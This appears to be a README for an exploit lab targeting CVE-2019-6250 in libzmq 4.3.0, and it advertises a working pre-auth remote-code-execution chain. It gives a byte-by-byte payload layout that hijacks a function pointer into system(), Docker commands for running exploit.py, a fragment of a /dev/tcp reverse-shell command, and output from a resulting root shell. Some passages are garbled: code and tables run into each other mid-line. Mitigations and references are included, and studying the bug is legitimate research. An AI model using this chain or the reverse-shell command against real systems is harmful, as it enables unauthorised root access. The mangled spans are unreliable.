Share
## https://sploitus.com/exploit?id=E846E535-3E5E-56FB-8C24-2D5F2C2FFB56
# CVE-2019-6250 β libzmq pre-auth RCE lab
[](https://nvd.nist.gov/vuln/detail/CVE-2019-6250)
[](https://nvd.nist.gov/vuln/detail/CVE-2019-6250)
[](https://github.com/zeromq/libzmq/pull/3353)
[](#license)
End-to-end working RCE chain + reproducible lab for **CVE-2019-6250**, the pre-auth heap-buffer-overflow in libzmq's `v2_decoder_t::size_ready`. A `uint64_t` pointer-arithmetic overflow lets an unauthenticated peer overwrite the adjacent `msg_t::content_t::ffn` function pointer on the ZMTP/2.0 wire path, then trigger it via TCP socket close β `~v2_decoder_t()` β `_in_progress.close()` β `system(cmd)`.
By **Nicolas Krassas** ([@dinosn](https://github.com/dinosn)).
> **Lab use only.** This kit ships an intentionally vulnerable libzmq 4.3.0. Don't expose port 5555 outside the lab. The bug was fixed seven years ago in libzmq 4.3.1 (commit [`1a2ed127`](https://github.com/zeromq/libzmq/commit/1a2ed12716693073032d57dac4e269df3d373751)).
---
## Demo
### `system()` chain β file proof

### Reverse shell β interactive root

### Automated end-to-end smoke test

---
## TL;DR (Docker)
```bash
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # & /dev/tcp/127.0.0.1/4444 0>&1"'
```
You should see something like:
```
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
```
The `cannot set terminal process group (1355844)` line confirms the shell was spawned by the libzmq target process (PID 1355844), not anything you ran locally.
---
## Repository layout
```
.
βββ README.md # you are here
βββ server.c # tiny PULL listener β the vulnerable target
βββ exploit.py # full RCE chain
βββ setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
βββ start_server.sh # start/restart the target
βββ read_addresses.sh # regenerate the address profile for a different image
βββ run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
βββ Dockerfile # one-command containerised lab
βββ screenshots/ # README screenshots (generated with charmbracelet/freeze)
```
---
## Mechanics
### 1. The bug
`src/v2_decoder.cpp:117` (libzmq 4.3.0):
```cpp
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path β _in_progress.data() == read_pos_
}
```
`msg_size_` is the attacker-controlled big-endian `uint64_t` from the ZMTP/2.0 LARGE-frame header. With `msg_size_ = 0xFFFFFFFFFFFFFFFF`, the sum `read_pos_ + msg_size_` wraps modulo 2βΆβ΄ and ends up *less than* the right-hand side. The bounds check evaluates false β execution falls into the zero-copy path β the `_in_progress` message aliases the recv buffer. The decoder then asks the kernel for `0xFFFFFFFFFFFFFFFF` more bytes at `read_pos_`, and `recv()` happily writes our payload past the recv buffer end into the adjacent `content_t[]` array (allocated in the same `malloc()` chunk at `decoder_allocators.cpp:88`).
### 2. The chain
```
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes β bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 Γ 40 = 9960 bytes
β content_t[0] starts at read_pos_+8183
```
We send 8224 payload bytes structured so that:
| payload offset | bytes | what it overwrites |
|---|---|---|
| `[0:16]` | padding | (in recv buffer) |
| `[16:K]` | command string + NUL | (in recv buffer β `system`'s arg) |
| `[K:8183]` | padding | (in recv buffer) |
| `[8183:8191]` | `read_pos+16` | `content_t[0].data` (β command) |
| `[8191:8199]` | `0` | `content_t[0].size` |
| `[8199:8207]` | `&system` | `content_t[0].ffn` (control-flow target) |
| `[8207:8215]` | `0` | `content_t[0].hint` |
| `[8215:8223]` | `0` | `content_t[0].refcnt` |
When we close the TCP socket, the server's `~v2_decoder_t()` calls `_in_progress.close()`. In `msg_t::close`:
```cpp
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
```
`init_external_storage` set `_u.zclmsg.flags = 0`, so the OR-shortcut takes the branch immediately β `refcnt` isn't even checked. Our overwritten `ffn` runs.
No ROP, no shellcode, no info-leak: just one libc symbol resolution and one inline command string.
### 3. Reaching `v2_decoder_t` pre-auth
Looking at `stream_engine.cpp:707`:
```cpp
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // /maps` |
| `system_off` | `0x53910` | `nm -D /lib/x86_64-linux-gnu/libc.so.6` |
| `read_pos` | `0x7ffff000bbc1` | `_buf + sizeof(atomic_counter_t) + 9` |
| `dist_to_content` | `8183` | derived from layout |
| `cmd_offset` | `16` | where in the payload we put the command |
When porting to a different glibc / libzmq build, run `./read_addresses.sh > profile.json` after `start_server.sh`, then pass `--profile profile.json` to the exploit.
In a real-world attack you'd need either an info-leak primitive or a one-gadget call that doesn't require argument control. Both are out of scope for this lab β the goal here is to demonstrate the bug-to-shell pipeline cleanly, not to defeat ASLR.
---
## Mitigations
| Defence | Effect |
|---|---|
| Upgrade to libzmq β₯ 4.3.1 | **Fixed.** Commit `1a2ed127` rewrites the bounds check as `msg_size_ > size_t(allocator.data()+size()-read_pos_)` β no overflow possible. |
| `zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n))` with any positive `n` | **Mitigates.** Short-circuits the broken bounds check before it can wrap. |
| Enable ZAP authentication | **Blocks ZMTP/2.0 connections** (rejected at `stream_engine.cpp:709`). Doesn't fix the bug; just prevents the unauthenticated path. |
| ASLR | Slows down weaponisation but doesn't prevent it β the chain primitive itself is unaffected. |
| Stack canaries / NX / RELRO | None of these protect a heap function-pointer hijack. |
---
## Cleanup
```bash
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # restore default ASLR
```
---
## References
- [HackerOne #477073](https://hackerone.com/reports/477073) β original disclosure (Guido Vranken).
- [zeromq/libzmq PR #3353](https://github.com/zeromq/libzmq/pull/3353) β the one-line fix.
- [zeromq/libzmq issue #3351](https://github.com/zeromq/libzmq/issues/3351) β public discussion.
- [NVD CVE-2019-6250](https://nvd.nist.gov/vuln/detail/CVE-2019-6250).
- [37/ZMTP](https://rfc.zeromq.org/spec/37/) β ZeroMQ Message Transport Protocol spec.
- [SystemTek writeup](https://www.systemtek.co.uk/2019/04/zeromq-libzmq-large-msg_size_-arbitrary-code-execution-vulnerability-cve-2019-6250/).
## Author
**Nicolas Krassas** β [@dinosn](https://github.com/dinosn)
## License
MIT Β© Nicolas Krassas. The intentionally-vulnerable libzmq 4.3.0 source is fetched at build time from the upstream LGPLv3-with-exceptions / MPLv2 repository β its license applies to that code separately.
## Disclaimer
For defensive security research, education, and authorized security testing only. Do not deploy the bundled vulnerable build outside a contained lab environment.